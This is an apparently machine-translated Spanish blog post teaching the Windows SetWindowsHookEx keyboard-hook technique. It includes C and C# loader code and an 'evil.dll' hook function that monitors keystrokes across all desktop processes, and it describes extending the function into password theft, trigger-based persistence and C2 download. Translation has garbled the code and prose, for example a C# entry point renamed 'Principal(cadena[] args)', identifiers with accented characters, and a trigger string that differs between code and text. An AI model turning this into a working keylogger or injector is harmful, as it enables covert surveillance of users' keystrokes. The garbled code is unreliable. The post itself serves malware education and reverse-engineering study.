Colocando nuestros ganchos en las ventanas

Volvemos con otro artículo sobre técnicas habituales de malware. Esta vez hablamos de la configuración de ganchos de Windows. Se trata de una técnica sencilla que puede utilizarse para grabar pulsaciones de teclas o inyectar código en procesos remotos. Utilizaremos el comando SetWindowsHookEx para registrar una función que será llamada cada vez que se active un evento.

Demostraremos este método en C y C# como hemos hecho en posts anteriores.

1.1 ¿Cómo funciona?

Este ataque funciona con el sistema operativo Windows SetWindowsHookEx . Esta función permite al programador indicar a Windows que añada un procedimiento hook especificado a una cadena de hooks. Un ejemplo sería enganchar el procedimiento WH_KEYBOARD para crear un keylogger.

Cada vez que se pulsa o suelta una tecla, se coloca un mensaje en una lista o cadena de mensajes conocida como cadena de corchetes. Cada eslabón de la cadena procesa el mensaje y lo transmite al siguiente. A continuación, la función de escucha puede almacenar las pulsaciones en la memoria, en el disco o enviarlas a un servidor C2.

Los parámetros del SetWindowsHookEx se muestran a continuación.

HHOOK SetWindowsHookExA(
  [in] int idHook,
  [in] HOOKPROC lpfn,
  [in] HINSTANCE hmod,
  [in] DWORD dwThreadId
);
  • idHook es el tipo de gancho que se va a añadir. Existe una lista de 14 tipos de gancho diferentesaunque algunos están obsoletos en ventanas más recientes. Para los propósitos de nuestro estudio, nos concentraremos en las ventanas WH_KEYBOARD tipo de gancho. Esto enviará una señal a nuestra función definida por la aplicación cada vez que se active un evento de teclado.
  • lpfn es un puntero a la función definida por la aplicación que será llamada cuando se active el evento. Esta función debe contener los siguientes parámetros: nCódigo, wParamy lParam.
  • hmod es un puntero a la biblioteca que contiene la función definida por la aplicación. En nuestro caso, será una DLL maliciosa cargada en el sistema de destino. Usaremos un nombre obvio llamado evil.dll.
  • dwThreadID es el identificador del hilo al que debe vincularse el gancho. Este parámetro, con un valor de 0 (cero)en escritorios, añadirá este gancho a todos los hilos que se ejecuten en el escritorio, no sólo al hilo actual.

Una vez que el gancho se ha añadido al cadena de ganchosla DLL registrada será cargada en cualquier proceso que dispare este evento hook. Así, cualquier proceso en el que se pulse una tecla ejecutará nuestro código malicioso. La siguiente imagen muestra un punto de interrupción X64dbg establecido cuando se carga una nueva DLL. El depurador se adjuntó a Microsoft Notepad.exe después de iniciar el proceso malicioso. Se comprobó que el punto de interrupción evil.dll no se cargaba en el espacio de memoria del Bloc de notas. Entonces, al teclear un solo carácter en la aplicación Bloc de notas aparecía el error "evil dll". evil.dll que se cargará en este espacio de memoria y se ejecutará.

Figura 1 - Bloc de notas cargando evil.dll

1.2 Demostración de código en C y C#

Empezaremos con un ejemplo en C. Este ejemplo es muy pequeño y, en sí mismo, benigno. El ejemplo comienza cargando una biblioteca en memoria. Luego necesitamos encontrar la dirección de una de sus funciones. Las direcciones de la biblioteca y de la función se utilizan en la función SetWindowsHookEx llamada a la función. Las últimas líneas del ejemplo evitan que el programa termine hasta que estemos listos. Tan pronto como el programa termine, el gancho que hemos añadido será eliminado.

 04 int main( int argc, char* argv[] )
 05 {
 06 HMODULE library = LoadLibrary("evil.dll");
 07 HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "evil_func");
 08 HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0);
 09 char opción;
 10 printf("Introduce 'q' para salir\n");
 11 do
 12 {
 13 opción = getchar ();
 14 }
 15 while (opción != 'q');
 16 }
  • Línea 6: Carga la biblioteca solicitada en el espacio de memoria actual y devuelve su dirección.
  • Línea 7: Busca en la biblioteca cargada una función con el nombre evil_func. Una vez encontrado, devuelve su dirección de memoria
  • Línea 8: Añade un corchete a la línea cadena_gancho para teclados que utilicen la cadena SetWindowsHookEx función.
  • Líneas 10-15: Mantiene el programa abierto hasta que el usuario introduce el carácter q. Esto es necesario porque cuando el programa termina, el gancho añadido se borra.

A continuación, hablaremos de la DLL en sí. Este ejemplo está escrito en C pero también podría estar escrito en C#. El diabólico ejemplo DLL contiene dos funciones: DLLMain y evil_func. DLLMain se utiliza cuando se llama a la biblioteca por primera vez. La dirección evil_func se utiliza para llevar a cabo nuestras tareas más dañinas. En este caso, el evil_func está programado para escuchar las pulsaciones del teclado hasta que detecta la cadena de caracteres INICIOy luego muestra un mensaje al usuario. Es bastante benigno, pero podría utilizarse para registrar pulsaciones de teclas, ya que la función será llamada al menos una vez cada vez que se pulse una tecla. Otros usos podrían incluir un mecanismo de persistencia que sólo se active cuando se haya tecleado una secuencia específica de teclas. Imaginemos que el atacante conoce la estructura del nombre de usuario del objetivo y quiere robar las contraseñas. Esto podría activarse con "@TRUSTEDSEC.COM @TRUSTEDSEC.COM" si los nombres de usuario incluyen direcciones de correo electrónico. Este método también podría utilizarse como método de persistencia, en el que el malware espera a que se active una secuencia específica de pulsaciones de teclas y luego se conecta a un C2 para descargar el paquete de comunicación principal.

04 char lastKey = 0;
 05 char str[6];
 06 int str_len = 0;
 07
 08 __declspec(dllexport) LRESULT CALLBACK evil_func( int nCode, WPARAM wParam, LPARAM lParam )
 09 {
 10 char l_str[200];
 11 if (lastKey == (char) wParam) goto END;
 12 lastKey = (char)wParam;
 13 if (str_len < 5)
 14 {
 15 str[str_len] = lastKey;
 16 str_len += 1;
 17 } else
 18 {
 19 strncpy(str, str+1,4);
 20 str[str_len-1] = lastKey;
 21 }
 22 if (strncmp(str, "START", 5) == 0)
 23 {
 24 sprintf(l_str, "El malware se está ejecutando ahora, str (%s)", str );
 25 int msgboxID = MessageBox( NULL, l_str, "¿Está seguro?", MB_OKCANCEL);
 26 }
 27 END:
 28 return CallNextHookEx( NULL, nCode, wParam, lParam );
 29 }
 30
 31 bool __stdcall DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
 32 {
 33 switch( dwReason )
 34 {
 35 case DLL_PROCESS_ATTACH:
 36 memset(str,0,6);
 37 break;
 38 }
 39 return TRUE;
 40 }
  • Líneas 4-6: Creación de variables globales utilizadas por las funciones cada vez que son llamadas, para mantener un registro de las entradas anteriores.
  • Línea 8: Prototipo de función. Ncode es el código utilizado por el gancho para procesar el mensaje. Especifica lo que contendrán los siguientes parámetros. wParam es el código de la tecla pulsada. El código lParam contiene los indicadores del mensaje. Incluyen elementos como el número de repeticiones, el código de exploración, etc.
  • Línea 10: Crea un espacio de memoria en la pila para almacenar un mensaje en forma de cadena de caracteres.
  • Línea 11: Compara la nueva tecla con la última tecla. Esto se usa para filtrar envíos dobles, pulsaciones de teclas, liberación de teclas. Si es lo mismo, no hace nada y devuelve
  • Línea 12: Guarda la clave actual en la última clave global
  • Líneas 13-21: Comprueba la longitud del buffer de cadena global. Si es menor de 5 caracteres, añade el nuevo carácter. Si es superior a 5 caracteres, desplaza los caracteres una unidad a la izquierda y añade el nuevo carácter al final.
  • Líneas 22-26: Comprueba si el buffer global de cadenas contiene la palabra INICIO. Si es así, genera un cuadro de mensaje. Si no, no haga nada.
  • Líneas 27-28: Limpia la función llamando a la siguiente función desde el teclado cadena de ganchos y salga de la función.
  • Líneas 31-40: Esta es la función principal de la DLL, que se utiliza cuando la biblioteca se carga por primera vez. En este caso, sólo la usamos para poner a cero la cadena global.

El ejemplo C# y la versión C son muy similares, excepto en que tenemos que envolver las llamadas a la API de Windows en clases declaradas no seguras y utilizar una función envoltorio para declarar las API de Windows utilizadas.

 07 namespace dll_sethook
 08 {
 09 unsafe class Programa
 10 {
 11 static void Principal(cadena[] args)
 12 {
 13 IntPtr libAddr = Win32.LoadLibrary("evil.dll");
 14 IntPtr evilAddr = Win32.GetProcAddress(libAddr, "evil_func");
 15
 16 IntPtr hook = Win32.SetWindowsHookEx(Win32.HookType.WH_KEYBOARD, evilAddr, libAddr, 0);
 17
 18 Console.WriteLine("Pulsa 'q' para salir");
 19 while (Console.ReadKey().Key != ConsoleKey.Q) {}
 20 }
 21 }
 22 }
  • Línea 9: Indica a C# que toda la clase es "insegura" y utilizará funciones y memoria fuera del uso estándar de C#.
  • Línea 13: Uso de una clase Win32 helper para cargar la definición de la clase CargarBiblioteca para cargar la biblioteca evil.dll en el espacio de memoria del programa y devuelve la dirección de memoria de la biblioteca cargada.
  • Línea 14: reutilización de la clase help para acceder al elemento GetProcAddress para encontrar la dirección del evil_func en la biblioteca cargada.
  • Línea 16: Añade un corchete al elemento cadena_gancho para teclados que utilicen la cadena SetWindowsHookEx función.
  • Líneas 18-19: El programa permanece abierto hasta que el usuario introduce el carácter q. Esto es necesario porque cuando el programa termina, el gancho añadido se borra.

1.3 Invertir el código

El código C del que hemos hablado antes se compiló en un ejecutable Windows de 64 bits utilizando MinGW, y después se desmontó y descompiló utilizando Ghidra. Como puede verse a continuación, el código fuente generado por Ghidra es muy parecido al original.

Figura 2 - Código C descompilado por Ghidra

La herramienta facilita la inversión de la mayoría de los códigos C#, dnSpy. Existen métodos para ocultar o corromper el archivo .exe para que dnSpy no pueda descompilarlo, pero la mayoría de los atacantes no llegan tan lejos.

Para cargar el ejecutable en dnSpy, basta con arrastrarlo y soltarlo en el panel izquierdo. Una vez cargado, el panel proporciona una lista en forma de árbol de los componentes del archivo .exe.

La siguiente imagen es un desglose del ejemplo del gancho C# tal y como aparece en dnSpy. Una vez más, es muy parecido al original.

Figura 3 - Código fuente generado por DnSpy para la función principal
Figura 4 - Código fuente generado por DnSpy para llamar a la función API

1.4 Conclusión

Utilización de la herramienta SetWindowsHookEx es una forma divertida de ilustrar el registrador de pulsaciones de teclas, porque cuando se instala el gancho, monitoriza todos los eventos relacionados con la pulsación de teclas, no sólo los del proceso original. Esta función también puede utilizarse para inyectar DLL maliciosas en procesos remotos, pero se limita a los procesos que pertenecen al usuario actual. En el pasado, este método de inyección ha sido detectado por varios productos de seguridad y debe probarse en el laboratorio antes de utilizarlo en un entorno cliente.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *